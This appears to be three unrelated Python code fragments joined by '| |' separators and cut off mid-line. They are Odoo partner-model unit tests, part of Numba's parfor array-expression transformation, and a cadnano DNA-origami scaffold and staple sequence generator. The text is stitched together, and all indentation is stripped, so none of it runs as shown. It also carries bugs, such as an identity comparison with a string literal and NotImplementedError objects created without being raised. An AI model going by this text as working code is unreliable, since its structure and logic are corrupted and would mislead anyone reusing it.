partner_id, dummy = self.res_partner.name_create(cr, uid, name, context={'default_active': active})
partners = self.res_partner.name_search(cr, uid, 'Raoul')
self.assertEqual(len(partners), 2, 'Incorrect search number result for name_search')
partners = self.res_partner.name_search(cr, uid, 'Raoul', limit=1)
self.assertEqual(len(partners), 1, 'Incorrect search number result for name_search with a limit')
self.assertEqual(partners[0][1], 'B Raoul chirurgiens-dentistes.fr', 'Incorrect partner returned, should be the first active')
def test_20_res_partner_address_sync(self):
cr, uid = self.cr, self.uid
ghoststep = self.res_partner.browse(cr, uid, self.res_partner.create(cr, uid,
{'name': 'GhostStep',
'is_company': True,
'street': 'Main Street, 10',
'phone': '123456789',
'email': '<EMAIL>',
'vat': 'BE0477472701',
'type': 'default'}))
p1 = self.res_partner.browse(cr, uid, self.res_partner.name_create(cr, uid, '<NAME> <<EMAIL>>')[0])
self.assertEqual(p1.type, 'contact', 'Default type must be "contact"')
p1phone = '123456789#34'
p1.write({'phone': p1phone,
'parent_id': ghoststep.id,
'use_parent_address': True})
p1.refresh()
self.assertEqual(p1.street, ghoststep.street, 'Address fields must be synced')
self.assertEqual(p1.phone, p1phone, 'Phone should be preserved after address sync')
self.assertEqual(p1.type, 'contact', 'Type should be preserved after address sync')
self.assertEqual(p1.email, '<EMAIL>', 'Email should be preserved after sync')
# turn off sync
p1street = 'Different street, 42'
p1.write({'street': p1street,
'use_parent_address': False})
p1.refresh(), ghoststep.refresh()
self.assertEqual(p1.street, p1street, 'Address fields must not be synced after turning sync off')
self.assertNotEqual(ghoststep.street, p1street, 'Parent address must never be touched')
# turn on sync again
p1.write({'use_parent_address': True})
p1.refresh()
self.assertEqual(p1.street, ghoststep.street, 'Address fields must be synced again')
self.assertEqual(p1.phone, p1phone, 'Phone should be preserved after address sync')
self.assertEqual(p1.type, 'contact', 'Type should be preserved after address sync')
self.assertEqual(p1.email, '<EMAIL>', 'Email should be preserved after sync')
# Modify parent, sync to children
ghoststreet = 'South Street, 25'
ghoststep.write({'street': ghoststreet})
p1.refresh()
self.assertEqual(p1.street, ghoststreet, 'Address fields must be synced automatically')
self.assertEqual(p1.phone, p1phone, 'Phone should not be synced')
self.assertEqual(p1.email, '<EMAIL>', 'Email should be preserved after sync')
p1street = 'My Street, 11'
p1.write({'street': p1street})
ghoststep.refresh()
self.assertEqual(ghoststep.street, ghoststreet, 'Touching contact should never alter parent')
def test_30_res_partner_first_contact_sync(self):
""" Test initial creation of company/contact pair where contact address gets copied to
company """
cr, uid = self.cr, self.uid
ironshield = self.res_partner.browse(cr, uid, self.res_partner.name_create(cr, uid, 'IronShield')[0])
self.assertFalse(ironshield.is_company, 'Partners are not companies by default')
self.assertFalse(ironshield.use_parent_address, 'use_parent_address defaults to False')
self.assertEqual(ironshield.type, 'contact', 'Default type must be "contact"')
ironshield.write({'type': 'default'}) # force default type to double-check sync
p1 = self.res_partner.browse(cr, uid, self.res_partner.create(cr, uid,
{'name': '<NAME>',
'street': 'Strongarm Avenue, 12',
'parent_id': ironshield.id}))
self.assertEquals(p1.type, 'contact', 'Default type must be "contact", not the copied parent type')
ironshield.refresh()
self.assertEqual(ironshield.street, p1.street, 'Address fields should be copied to company')
self.assertTrue(ironshield.is_company, 'Company flag should be turned on after first contact creation')
def test_40_res_partner_address_getc(self):
""" Test address_get address resolution mechanism: it should first go down through descendants,
stopping when encountering another is_copmany entity, then go up, stopping again at the first
is_company entity or the root ancestor and if nothing matches, it should use the provided partner
itself """
cr, uid = self.cr, self.uid
elmtree = self.res_partner.browse(cr, uid, self.res_partner.name_create(cr, uid, 'Elmtree')[0])
branch1 = self.res_partner.browse(cr, uid, self.res_partner.create(cr, uid, {'name': 'Branch 1',
'parent_id': elmtree.id,
'is_company': True}))
leaf10 = self.res_partner.browse(cr, uid, self.res_partner.create(cr, uid, {'name': 'Leaf 10',
'parent_id': branch1.id,
'type': 'invoice'}))
branch11 = self.res_partner.browse(cr, uid, self.res_partner.create(cr, uid, {'name': 'Branch 11',
'parent_id': branch1.id,
'type': 'other'}))
leaf111 = self.res_partner.browse(cr, uid, self.res_partner.create(cr, uid, {'name': 'Leaf 111',
'parent_id': branch11.id,
'type': 'delivery'}))
branch11.write({'is_company': False}) # force is_company after creating 1rst child
branch2 = self.res_partner.browse(cr, uid, self.res_partner.create(cr, uid, {'name': 'Branch 2',
'parent_id': elmtree.id,
'is_company': True}))
leaf21 = self.res_partner.browse(cr, uid, self.res_partner.create(cr, uid, {'name': 'Leaf 21',
'parent_id': branch2.id,
'type': 'delivery'}))
leaf22 = self.res_partner.browse(cr, uid, self.res_partner.create(cr, uid, {'name': 'Leaf 22',
'parent_id': branch2.id}))
leaf23 = self.res_partner.browse(cr, uid, self.res_partner.create(cr, uid, {'name': 'Leaf 23',
'parent_id': branch2.id,
'type': 'default'}))
# go up, stop at branch1
self.assertEqual(self.res_partner.address_get(cr, uid, [leaf111.id], ['delivery', 'invoice', 'contact', 'other', 'default']),
{'delivery': leaf111.id,
'invoice': leaf10.id,
'contact': branch1.id,
'other': branch11.id,
'default': leaf111.id}, 'Invalid address resolution')
self.assertEqual(self.res_partner.address_get(cr, uid, [branch11.id], ['delivery', 'invoice', 'contact', 'other', 'default']),
{'delivery': leaf111.id,
'invoice': leaf10.id,
'contact': branch1.id,
'other': branch11.id,
'default': branch11.id}, 'Invalid address resolution')
# go down, stop at at all child companies
self.assertEqual(self.res_partner.address_get(cr, uid, [elmtree.id], ['delivery', 'invoice', 'contact', 'other', 'default']),
{'delivery': elmtree.id,
'invoice': elmtree.id,
'contact': elmtree.id,
'other': elmtree.id,
'default': elmtree.id}, 'Invalid address resolution')
# go down through children
self.assertEqual(self.res_partner.address_get(cr, uid, [branch1.id], ['delivery', 'invoice', 'contact', 'other', 'default']),
{'delivery': leaf111.id,
'invoice': leaf10.id,
'contact': branch1.id,
'other': branch11.id,
'default': branch1.id}, 'Invalid address resolution')
self.assertEqual(self.res_partner.address_get(cr, uid, [branch2.id], ['delivery', 'invoice', 'contact', 'other', 'default']),
{'delivery': leaf21.id,
'invoice': leaf23.id,
'contact': branch2.id,
'other': leaf23.id,
'default': leaf23.id}, 'Invalid address resolution')
# go up then down through siblings
self.assertEqual(self.res_partner.address_get(cr, uid, [leaf21.id], ['delivery', 'invoice', 'contact', 'other', 'default']),
{'delivery': leaf21.id,
'invoice': leaf23.id,
'contact': branch2.id,
'other': leaf23.id,
'default': leaf23.id
}, 'Invalid address resolution, should scan commercial entity ancestor and its descendants')
self.assertEqual(self.res_partner.address_get(cr, uid, [leaf22.id], ['delivery', 'invoice', 'contact', 'other', 'default']),
{'delivery': leaf21.id,
'invoice': leaf23.id,
'contact': leaf22.id,
'other': leaf23.id,
'default': leaf23.id}, 'Invalid address resolution, should scan commercial entity ancestor and its descendants')
self.assertEqual(self.res_partner.address_get(cr, uid, [leaf23.id], ['delivery', 'invoice', 'contact', 'other', 'default']),
{'delivery': leaf21.id,
'invoice': leaf23.id,
'contact': branch2.id,
'other': leaf23.id,
'default': leaf23.id}, 'Invalid address resolution, `default` should only override if no partner with specific type exists')
# empty adr_pref means only 'default'
self.assertEqual(self.res_partner.address_get(cr, uid, [elmtree.id], []),
{'default': elmtree.id}, 'Invalid address resolution, no default means commercial entity ancestor')
self.assertEqual(self.res_partner.address_get(cr, uid, [leaf111.id], []),
{'default': leaf111.id}, 'Invalid address resolution, no default means contact itself')
branch11.write({'type': 'default'})
self.assertEqual(self.res_partner.address_get(cr, uid, [leaf111.id], []),
{'default': branch11.id}, 'Invalid address resolution, branch11 should now be default')
def test_50_res_partner_commercial_sync(self):
cr, uid = self.cr, self.uid
p0 = self.res_partner.browse(cr, uid, self.res_partner.create(cr, uid,
{'name': '<NAME>',
'email': '<EMAIL>'}))
sunhelm = self.res_partner.browse(cr, uid, self.res_partner.create(cr, uid,
{'name': 'Sunhelm',
'is_company': True,
'street': 'Rainbow Street, 13',
'phone': '1122334455',
'email': '<EMAIL>',
'vat': 'BE0477472701',
'child_ids': [(4, p0.id),
(0, 0, {'name': '<NAME>',
'email': '<EMAIL>'})],
}))
p1 = self.res_partner.browse(cr, uid, self.res_partner.create(cr, uid,
{'name': '<NAME>',
'email': '<EMAIL>',
'parent_id': sunhelm.id}))
p11 = self.res_partner.browse(cr, uid, self.res_partner.create(cr, uid,
{'name': '<NAME>',
'email': '<EMAIL>',
'parent_id': p1.id}))
p2 = self.res_partner.browse(cr, uid, self.res_partner.search(cr, uid,
[('email', '=', '<EMAIL>')])[0])
self.res_partner.write(cr, uid, sunhelm.id, {'child_ids': [(0, 0, {'name': '<NAME>',
'email': '<EMAIL>'})]})
p3 = self.res_partner.browse(cr, uid, self.res_partner.search(cr, uid,
[('email', '=', '<EMAIL>')])[0])
for p in (p0, p1, p11, p2, p3):
p.refresh()
self.assertEquals(p.commercial_partner_id, sunhelm, 'Incorrect commercial entity resolution')
self.assertEquals(p.vat, sunhelm.vat, 'Commercial fields must be automatically synced')
sunhelmvat = 'BE0123456789'
sunhelm.write({'vat': sunhelmvat})
for p in (p0, p1, p11, p2, p3):
p.refresh()
self.assertEquals(p.vat, sunhelmvat, 'Commercial fields must be automatically and recursively synced')
p1vat = 'BE0987654321'
p1.write({'vat': p1vat})
for p in (sunhelm, p0, p11, p2, p3):
p.refresh()
self.assertEquals(p.vat, sunhelmvat, 'Sync to children should only work downstream and on commercial entities')
# promote p1 to commercial entity
vals = p1.onchange_type(is_company=True)['value']
p1.write(dict(vals, parent_id=sunhelm.id,
is_company=True,
name='Sunhelm Subsidiary'))
p1.refresh()
self.assertEquals(p1.vat, p1vat, 'Setting is_company should stop auto-sync of commercial fields')
self.assertEquals(p1.commercial_partner_id, p1, 'Incorrect commercial entity resolution after setting is_company')
# writing on parent should not touch child commercial entities
sunhelmvat2 = 'BE0112233445'
sunhelm.write({'vat': sunhelmvat2})
p1.refresh()
self.assertEquals(p1.vat, p1vat, 'Setting is_company should stop auto-sync of commercial fields')
p0.refresh()
self.assertEquals(p0.vat, sunhelmvat2, 'Commercial fields must be automatically synced')
def test_60_read_group(self):
cr, uid = self.cr, self.uid
title_sir = self.res_partner_title.create(cr, uid, {'name': 'Sir', 'domain': 'contact'})
title_lady = self.res_partner_title.create(cr, uid, {'name': 'Lady', 'domain': 'contact'})
test_users = [
{'name': 'Alice', 'login': 'alice', 'color': 1, | |
this_dim in range(arr_typ.ndim):
corr = self.array_analysis.array_shape_classes[lhs.name][this_dim]
size_var = self.array_analysis.array_size_vars[lhs.name][this_dim]
size_vars.append(size_var)
index_var = ir.Var(scope, mk_unique_var("parfor_index"), loc)
index_vars.append(index_var)
self.typemap[index_var.name] = types.intp
loopnests.append(LoopNest(index_var, 0, size_var, 1, corr))
# generate init block and body
init_block = ir.Block(scope, loc)
init_block.body = mk_alloc(self.typemap, self.calltypes, lhs,
tuple(size_vars), el_typ, scope, loc)
body_label = next_label()
body_block = ir.Block(scope, loc)
expr_out_var = ir.Var(scope, mk_unique_var("$expr_out_var"), loc)
self.typemap[expr_out_var.name] = el_typ
index_var, index_var_typ = self._make_index_var(
scope, index_vars, body_block)
body_block.body.extend(
_arrayexpr_tree_to_ir(
self.typemap,
self.calltypes,
expr_out_var,
expr,
index_var,
index_vars,
self.array_analysis.array_shape_classes,
avail_vars))
parfor = Parfor(
loopnests,
init_block,
{},
loc,
self.array_analysis,
index_var)
setitem_node = ir.SetItem(lhs, index_var, expr_out_var, loc)
self.calltypes[setitem_node] = signature(
types.none, self.typemap[lhs.name], index_var_typ, el_typ)
body_block.body.append(setitem_node)
parfor.loop_body = {body_label: body_block}
if config.DEBUG_ARRAY_OPT == 1:
print("generated parfor for arrayexpr:")
parfor.dump()
return parfor
def _is_supported_npycall(self, expr):
"""check if we support parfor translation for
this Numpy call.
"""
# return False # turn off for now
if not (isinstance(expr, ir.Expr) and expr.op == 'call'):
return False
if expr.func.name not in self.array_analysis.numpy_calls.keys():
return False
call_name = self.array_analysis.numpy_calls[expr.func.name]
if call_name in ['zeros', 'ones', 'random.ranf']:
return True
# TODO: add more calls
if call_name == 'dot':
# only translate matrix/vector and vector/vector multiply to parfor
# (don't translate matrix/matrix multiply)
if (self._get_ndims(expr.args[0].name) <= 2 and
self._get_ndims(expr.args[1].name) == 1):
return True
return False
def _is_supported_npyreduction(self, expr):
"""check if we support parfor translation for
this Numpy reduce call.
"""
# return False # turn off for now
if not (isinstance(expr, ir.Expr) and expr.op == 'call'):
return False
if expr.func.name not in self.array_analysis.numpy_calls.keys():
return False
# TODO: add more calls
if self.array_analysis.numpy_calls[expr.func.name] in _reduction_ops:
for arg in expr.args:
if not self._has_known_shape(arg):
return False
return True
return False
def _get_ndims(self, arr):
# return len(self.array_analysis.array_shape_classes[arr])
return self.typemap[arr].ndim
def _numpy_to_parfor(self, lhs, expr):
assert isinstance(expr, ir.Expr) and expr.op == 'call'
call_name = self.array_analysis.numpy_calls[expr.func.name]
args = expr.args
kws = dict(expr.kws)
if call_name in ['zeros', 'ones', 'random.ranf']:
return self._numpy_map_to_parfor(call_name, lhs, args, kws, expr)
if call_name == 'dot':
assert len(args) == 2 or len(args) == 3
# if 3 args, output is allocated already
out = None
if len(args) == 3:
out = args[2]
if 'out' in kws:
out = kws['out']
in1 = args[0]
in2 = args[1]
el_typ = self.typemap[lhs.name].dtype
assert self._get_ndims(
in1.name) <= 2 and self._get_ndims(
in2.name) == 1
# loop range correlation is same as first dimention of 1st input
corr = self.array_analysis.array_shape_classes[in1.name][0]
size_var = self.array_analysis.array_size_vars[in1.name][0]
scope = lhs.scope
loc = expr.loc
index_var = ir.Var(scope, mk_unique_var("parfor_index"), lhs.loc)
self.typemap[index_var.name] = types.intp
loopnests = [LoopNest(index_var, 0, size_var, 1, corr)]
init_block = ir.Block(scope, loc)
parfor = Parfor(
loopnests,
init_block,
{},
loc,
self.array_analysis,
index_var)
if self._get_ndims(in1.name) == 2:
# for 2D input, there is an inner loop
# correlation of inner dimension
inner_size_var = self.array_analysis.array_size_vars[in1.name][1]
# loop structure: range block, header block, body
range_label = next_label()
header_label = next_label()
body_label = next_label()
out_label = next_label()
if out is None:
alloc_nodes = mk_alloc(self.typemap, self.calltypes, lhs,
size_var, el_typ, scope, loc)
init_block.body = alloc_nodes
else:
out_assign = ir.Assign(out, lhs, loc)
init_block.body = [out_assign]
init_block.body.extend(
_gen_dotmv_check(
self.typemap,
self.calltypes,
in1,
in2,
lhs,
scope,
loc))
# sum_var = 0
const_node = ir.Const(0, loc)
const_var = ir.Var(scope, mk_unique_var("$const"), loc)
self.typemap[const_var.name] = el_typ
const_assign = ir.Assign(const_node, const_var, loc)
sum_var = ir.Var(scope, mk_unique_var("$sum_var"), loc)
self.typemap[sum_var.name] = el_typ
sum_assign = ir.Assign(const_var, sum_var, loc)
range_block = mk_range_block(
self.typemap, 0, inner_size_var, 1, self.calltypes, scope, loc)
range_block.body = [
const_assign, sum_assign] + range_block.body
range_block.body[-1].target = header_label # fix jump target
phi_var = range_block.body[-2].target
header_block = mk_loop_header(self.typemap, phi_var,
self.calltypes, scope, loc)
header_block.body[-1].truebr = body_label
header_block.body[-1].falsebr = out_label
phi_b_var = header_block.body[-2].target
body_block = _mk_mvdot_body(self.typemap, self.calltypes,
phi_b_var, index_var, in1, in2,
sum_var, scope, loc, el_typ)
body_block.body[-1].target = header_label
out_block = ir.Block(scope, loc)
# lhs[parfor_index] = sum_var
setitem_node = ir.SetItem(lhs, index_var, sum_var, loc)
self.calltypes[setitem_node] = signature(
types.none, self.typemap[lhs.name], types.intp, el_typ)
out_block.body = [setitem_node]
parfor.loop_body = {
range_label: range_block,
header_label: header_block,
body_label: body_block,
out_label: out_block}
else: # self._get_ndims(in1.name)==1 (reduction)
NotImplementedError("no reduction for dot() " + expr)
if config.DEBUG_ARRAY_OPT == 1:
print("generated parfor for numpy call:")
parfor.dump()
return parfor
# return error if we couldn't handle it (avoid rewrite infinite loop)
raise NotImplementedError("parfor translation failed for ", expr)
def _numpy_map_to_parfor(self, call_name, lhs, args, kws, expr):
"""generate parfor from Numpy calls that are maps.
"""
scope = lhs.scope
loc = lhs.loc
arr_typ = self.typemap[lhs.name]
el_typ = arr_typ.dtype
# generate loopnests and size variables from lhs correlations
loopnests = []
size_vars = []
index_vars = []
for this_dim in range(arr_typ.ndim):
corr = self.array_analysis.array_shape_classes[lhs.name][this_dim]
size_var = self.array_analysis.array_size_vars[lhs.name][this_dim]
size_vars.append(size_var)
index_var = ir.Var(scope, mk_unique_var("parfor_index"), loc)
index_vars.append(index_var)
self.typemap[index_var.name] = types.intp
loopnests.append(LoopNest(index_var, 0, size_var, 1, corr))
# generate init block and body
init_block = ir.Block(scope, loc)
init_block.body = mk_alloc(self.typemap, self.calltypes, lhs,
tuple(size_vars), el_typ, scope, loc)
body_label = next_label()
body_block = ir.Block(scope, loc)
expr_out_var = ir.Var(scope, mk_unique_var("$expr_out_var"), loc)
self.typemap[expr_out_var.name] = el_typ
index_var, index_var_typ = self._make_index_var(
scope, index_vars, body_block)
if call_name == 'zeros':
value = ir.Const(0, loc)
elif call_name == 'ones':
value = ir.Const(1, loc)
elif call_name == 'random.ranf':
# reuse the call expr for single value
expr.args = []
self.calltypes.pop(expr)
self.calltypes[expr] = self.typemap[expr.func.name].get_call_type(
typing.Context(), [], {})
value = expr
else:
NotImplementedError(
"Map of numpy.{} to parfor is not implemented".format(call_name))
value_assign = ir.Assign(value, expr_out_var, loc)
body_block.body.append(value_assign)
parfor = Parfor(
loopnests,
init_block,
{},
loc,
self.array_analysis,
index_var)
setitem_node = ir.SetItem(lhs, index_var, expr_out_var, loc)
self.calltypes[setitem_node] = signature(
types.none, self.typemap[lhs.name], index_var_typ, el_typ)
body_block.body.append(setitem_node)
parfor.loop_body = {body_label: body_block}
if config.DEBUG_ARRAY_OPT == 1:
print("generated parfor for numpy map:")
parfor.dump()
return parfor
def _reduction_to_parfor(self, lhs, expr):
assert isinstance(expr, ir.Expr) and expr.op == 'call'
call_name = self.array_analysis.numpy_calls[expr.func.name]
args = expr.args
kws = dict(expr.kws)
if call_name in _reduction_ops:
acc_op, im_op, init_val = _reduction_ops[call_name]
assert len(args) in [1, 2] # vector dot has 2 args
in1 = args[0]
arr_typ = self.typemap[in1.name]
in_typ = arr_typ.dtype
im_op_func_typ = find_op_typ(im_op, [in_typ, in_typ])
el_typ = im_op_func_typ.return_type
ndims = arr_typ.ndim
# For full reduction, loop range correlation is same as 1st input
corrs = self.array_analysis.array_shape_classes[in1.name]
sizes = self.array_analysis.array_size_vars[in1.name]
assert ndims == len(sizes) and ndims == len(corrs)
scope = lhs.scope
loc = expr.loc
loopnests = []
parfor_index = []
for i in range(ndims):
index_var = ir.Var(
scope, mk_unique_var(
"$parfor_index" + str(i)), loc)
self.typemap[index_var.name] = types.intp
parfor_index.append(index_var)
loopnests.append(LoopNest(index_var, 0, sizes[i], 1, corrs[i]))
acc_var = lhs
# init value
init_const = ir.Const(el_typ(init_val), loc)
# init block has to init the reduction variable
init_block = ir.Block(scope, loc)
init_block.body.append(ir.Assign(init_const, acc_var, loc))
# loop body accumulates acc_var
acc_block = ir.Block(scope, loc)
tmp_var = ir.Var(scope, mk_unique_var("$val"), loc)
self.typemap[tmp_var.name] = in_typ
index_var, index_var_type = self._make_index_var(
scope, parfor_index, acc_block)
getitem_call = ir.Expr.getitem(in1, index_var, loc)
self.calltypes[getitem_call] = signature(
in_typ, arr_typ, index_var_type)
acc_block.body.append(ir.Assign(getitem_call, tmp_var, loc))
if call_name is 'dot':
# dot has two inputs
tmp_var1 = tmp_var
in2 = args[1]
tmp_var2 = ir.Var(scope, mk_unique_var("$val"), loc)
self.typemap[tmp_var2.name] = in_typ
getitem_call2 = ir.Expr.getitem(in2, index_var, loc)
self.calltypes[getitem_call2] = signature(
in_typ, arr_typ, index_var_type)
acc_block.body.append(ir.Assign(getitem_call2, tmp_var2, loc))
mult_call = ir.Expr.binop('*', tmp_var1, tmp_var2, loc)
mult_func_typ = find_op_typ('*', [in_typ, in_typ])
self.calltypes[mult_call] = mult_func_typ
tmp_var = ir.Var(scope, mk_unique_var("$val"), loc)
acc_block.body.append(ir.Assign(mult_call, tmp_var, loc))
acc_call = ir.Expr.inplace_binop(
acc_op, im_op, acc_var, tmp_var, loc)
# for some reason, type template of += returns None,
# so type template of + should be used
self.calltypes[acc_call] = im_op_func_typ
# FIXME: we had to break assignment: acc += ... acc ...
# into two assignment: acc_tmp = ... acc ...; x = acc_tmp
# in order to avoid an issue in copy propagation.
acc_tmp_var = ir.Var(scope, mk_unique_var("$acc"), loc)
self.typemap[acc_tmp_var.name] = el_typ
acc_block.body.append(ir.Assign(acc_call, acc_tmp_var, loc))
acc_block.body.append(ir.Assign(acc_tmp_var, acc_var, loc))
loop_body = {next_label(): acc_block}
# parfor
parfor = Parfor(loopnests, init_block, loop_body, loc,
self.array_analysis, index_var)
return parfor
# return error if we couldn't handle it (avoid rewrite infinite loop)
raise NotImplementedError("parfor translation failed for ", expr)
def _gen_dotmv_check(typemap, calltypes, in1, in2, out, scope, loc):
"""compile dot() check from linalg module and insert a call to it"""
# save max_label since pipeline is called recursively
saved_max_label = ir_utils._max_label
from numba import njit
from numba.targets.linalg import dot_3_mv_check_args
check_func = njit(dot_3_mv_check_args)
# g_var = Global(dot_3_mv_check_args)
g_var = ir.Var(scope, mk_unique_var("$check_mv"), loc)
func_typ = types.functions.Dispatcher(check_func)
typemap[g_var.name] = func_typ
g_obj = ir.Global("dot_3_mv_check_args", check_func, loc)
g_assign = ir.Assign(g_obj, | |
0:
length[i] = length[i] + currentLoop
return length
def FindSingleScaffold(scaffold, startBase, inputSequence, lookUpScaffold, skip, loop):
"""
Appends base letter from inputSequence to each base in scaffold.
Returns sequence containing bases and base letters.
"""
finalSequence = []
cnt = 0
currentBase = startBase
# Traverse scaffold until nextBase is [-1,-1]
while True:
currentSkip = skip[currentBase[0]][currentBase[1]]
currentLoop = loop[currentBase[0]][currentBase[1]]
# If there is no skip and no loop
if currentSkip == 0 and currentLoop == 0:
# Append sequence
currentBase.append(inputSequence[cnt])
finalSequence.append(currentBase)
lookUpScaffold[currentBase[0]][currentBase[1]] = inputSequence[cnt]
cnt += 1
# If there is no skip, but there is a loop
elif currentSkip == 0 and currentLoop != 0:
loopSequence = [inputSequence[cnt]]
cnt += 1
# Find sequence for the whole loop
for i in range(currentLoop):
loopSequence.append(inputSequence[cnt])
cnt += 1
loopSequence = ''.join(loopSequence)
# Append sequence
currentBase.append(loopSequence)
finalSequence.append(currentBase)
lookUpScaffold[currentBase[0]][currentBase[1]] = loopSequence
# If there is a skip
elif currentSkip == -1:
# Append 'X' to indicate skip
currentBase.append('X')
finalSequence.append(currentBase)
lookUpScaffold[currentBase[0]][currentBase[1]] = 'X'
else:
print("There is a skip and loop in the same index!")
sys.exit("Not a valid skip/loop array in json file!")
nextBase, nextBlock = ForwardTraverse(scaffold, currentBase)
# Break if end of scaffold is reached
if nextBase == [-1, -1]:
break
# Traverse to next base
currentBase = nextBase
currentBlock = nextBlock
return finalSequence
def FindScaffoldSequences(scaffolds, scaffoldStartBase, rawScaffoldSequence, lookUpScaffold, skip, loop):
"""
Returns all scaffolds sequences, assigns the rawScaffoldSequence to the
longest scaffold. The other scaffolds get pseudorandomly generated sequences.
"""
print("Generating scaffold sequences...")
length = FindLength(scaffolds, scaffoldStartBase, skip, loop)
# Exit if no scaffold is found
if length == []:
sys.exit("No scaffolds found")
maxIndex = np.argmax(length)
maxRange = len(length)
finalSequence = [None] * maxRange
# Exit if scaffold sequence provided is not long enough
if length[maxIndex] > len(rawScaffoldSequence):
sys.exit(
"Scaffold sequence given is not long enough.\nScaffold input length: "
+ str(len(rawScaffoldSequence)) + "\nLongest scaffold in json: "
+ str(length[maxIndex]) + "\nPlease provide a longer sequence.")
for i in range(maxRange):
if CheckMultipleBase(scaffoldStartBase):
currentBase = scaffoldStartBase[i]
else:
currentBase = scaffoldStartBase
# Assign input scaffold to the longest scaffold in the file
if i == maxIndex:
finalSequence[i] = FindSingleScaffold(
scaffolds, currentBase, rawScaffoldSequence, lookUpScaffold, skip, loop)
# Else generate pseudorandom sequence
else:
randomScaffoldSequence, _ = sequence_creator(length[i])
finalSequence[i] = FindSingleScaffold(
scaffolds, currentBase, randomScaffoldSequence, lookUpScaffold, skip, loop)
return finalSequence
def Complement(inputBase):
"""
Returns the complementary base of input base. If there is a loop present,
the inputBase will have multiple letters. The individual complements will be
calculated, and the sequence will be reversed.
"""
# Check for a loop
if len(inputBase) != 1:
complementBase = [None] * len(inputBase)
for i in range(len(inputBase)):
complementBase[i] = SingleComplement(inputBase[i])
# Invert loop sequence
complementBase = complementBase[::-1]
complementBase = ''.join(complementBase)
# Else just return single complementary base
else:
complementBase = SingleComplement(inputBase)
return complementBase
def SingleComplement(inputBase):
"""
Returns the complementary base of a single input base.
"""
if inputBase == 'A':
return 'T'
elif inputBase == 'T':
return 'A'
elif inputBase == 'G':
return 'C'
elif inputBase == 'C':
return 'G'
# Denotes a skip
elif inputBase == 'X':
return 'X'
else:
sys.exit(str(inputBase) + " is not a valid base")
def FindStapleBase(stapleBase, lookUpScaffold):
"""
Find staple base by taking the complement of the scaffold base
taken from the look up scaffold.
"""
# Look up base letter from look up table
scaffoldBaseLetter = lookUpScaffold[stapleBase[0]][stapleBase[1]]
# If no corresponding scaffolds is found, assign 'A'
if scaffoldBaseLetter == '':
stapleBaseLetter = 'A'
# Otherwise take complement of scaffold
else:
stapleBaseLetter = Complement(scaffoldBaseLetter)
return stapleBaseLetter
def FindStapleSequences(staples, stapleStartBases, lookUpScaffold, lookUpStaple):
"""
Finds complementary scaffold base letter from look up scaffold.
appends it to each staple base. Returns all staple sequences.
"""
print("Generating staple sequences...")
finalSequence = [None] * len(stapleStartBases)
for i in range(len(stapleStartBases)):
currentBase = stapleStartBases[i]
currentBlock = staples[currentBase[0]][currentBase[1]]
baseLetter = FindStapleBase(currentBase, lookUpScaffold)
currentBase.append(baseLetter)
finalSequence[i] = [currentBase]
lookUpStaple[currentBase[0]][currentBase[1]] = baseLetter
nextBase, nextBlock = ForwardTraverse(staples, currentBase)
# ForwardTraverse scaffolds until nextBase is [-1,-1]
while nextBase != [-1, -1]:
currentBase = nextBase
currentBlock = nextBlock
baseLetter = FindStapleBase(currentBase, lookUpScaffold)
currentBase.append(baseLetter)
finalSequence[i].append(currentBase)
lookUpStaple[currentBase[0]][currentBase[1]] = baseLetter
nextBase, nextBlock = ForwardTraverse(staples, currentBase)
return finalSequence
def VerifyStaples(stapleSequence):
"""
Checks for staples shorter than 15 or longer than 60, returns warning if found.
Also checks if there are staples with more than 7 consecutive A's at the edge,
which might indicate a long staple strand which is not connected to a scaffold.
"""
print("Verifying staples...")
# Check for staples longer than 60 or shorter than 15
for i in range(len(stapleSequence)):
if len(stapleSequence[i]) > 60:
print("Warning: staple " + str(i) +
" at " + str(stapleSequence[i][0][0]) + "[" + str(stapleSequence[i][0][1]) + "]" + " has length " + str(len(stapleSequence[i])) + " (>60)")
elif len(stapleSequence[i]) < 15:
print("Warning: staple " + str(i) +
" at " + str(stapleSequence[i][0][0]) + "[" + str(stapleSequence[i][0][1]) + "]" + " has length " + str(len(stapleSequence[i])) + " (<15)")
# Check for 7 consecutive A's next to eachother at the staple edges
for i in range(len(stapleSequence)):
if len(stapleSequence[i]) >= 7:
if (stapleSequence[i][0][2] == stapleSequence[i][1][2] ==
stapleSequence[i][2][2] == stapleSequence[i][3][2] ==
stapleSequence[i][4][2] == stapleSequence[i][5][2] ==
stapleSequence[i][6][2] == 'A'):
print("Warning: staple " + str(i) +
" at " + str(stapleSequence[i][0][0]) + "[" + str(stapleSequence[i][0][1]) + "]" + " has 7 or more consecutive A's at the start")
if (stapleSequence[i][-1][2] == stapleSequence[i][-2][2] ==
stapleSequence[i][-3][2] == stapleSequence[i][-4][2] ==
stapleSequence[i][-5][2] == stapleSequence[i][-6][2] ==
stapleSequence[i][-7][2] == 'A'):
print("Warning: staple " + str(i) +
" at " + str(stapleSequence[i][0][0]) + "[" + str(stapleSequence[i][0][1]) + "]" + " has 7 or more consecutive A's at the end")
def PrintSequence(sequence, fileName, view=1):
"""
Prints sequence to file, 0 = detailed view, 1 = cadnano view
"""
print("Outputting data to " + fileName + "...")
# Open file
outputFile = open(fileName, 'w')
# Print in detailed view
if view == 0:
for i in range(len(sequence)):
outputFile.write("Staple " + str(i) + ":\n")
for seq in sequence[i]:
outputFile.write(str(seq) + "\n")
outputFile.write("\n")
# Print in cadnano style view
elif view == 1:
outputFile.write("Start,End,Sequence,Length\n")
for i in range(len(sequence)):
currentSequence = sequence[i]
outputFile.write(str(currentSequence[0][0]) + "[" + str(currentSequence[0][1]) + "]," +
str(currentSequence[-1][0]) + "[" + str(currentSequence[-1][1]) + "],")
cnt = 0
for j in range(len(currentSequence)):
if currentSequence[j][2] != 'X':
outputFile.write(str(currentSequence[j][2]))
cnt += len(currentSequence[j][2])
outputFile.write("," + str(cnt) + "\n")
else:
sys.exit("Not a valid print mode.")
# Close file
outputFile.close()
def PrintVisualizer(numStrands, lengthStrands, lookUpScaffold, lookUpStaple, fileName, loop):
"""
Print visual representation of the sequences in cadnano style format.
"""
print("Outputting data to " + fileName + "...")
outputFile = open(fileName, 'w')
for i in range(numStrands):
# Even strands
if i % 2 == 0:
outputFile.write("Scaffold " + "{:<5}".format(str(i)) + "|")
for j in range(lengthStrands):
if lookUpScaffold[i][j] == '':
outputFile.write("-")
else:
# Check for loop, place sequence between curly brackets
if loop[i][j] == 0:
outputFile.write(lookUpScaffold[i][j])
else:
outputFile.write(lookUpScaffold[i][j][0])
outputFile.write("{")
outputFile.write(lookUpScaffold[i][j][1:])
outputFile.write("}")
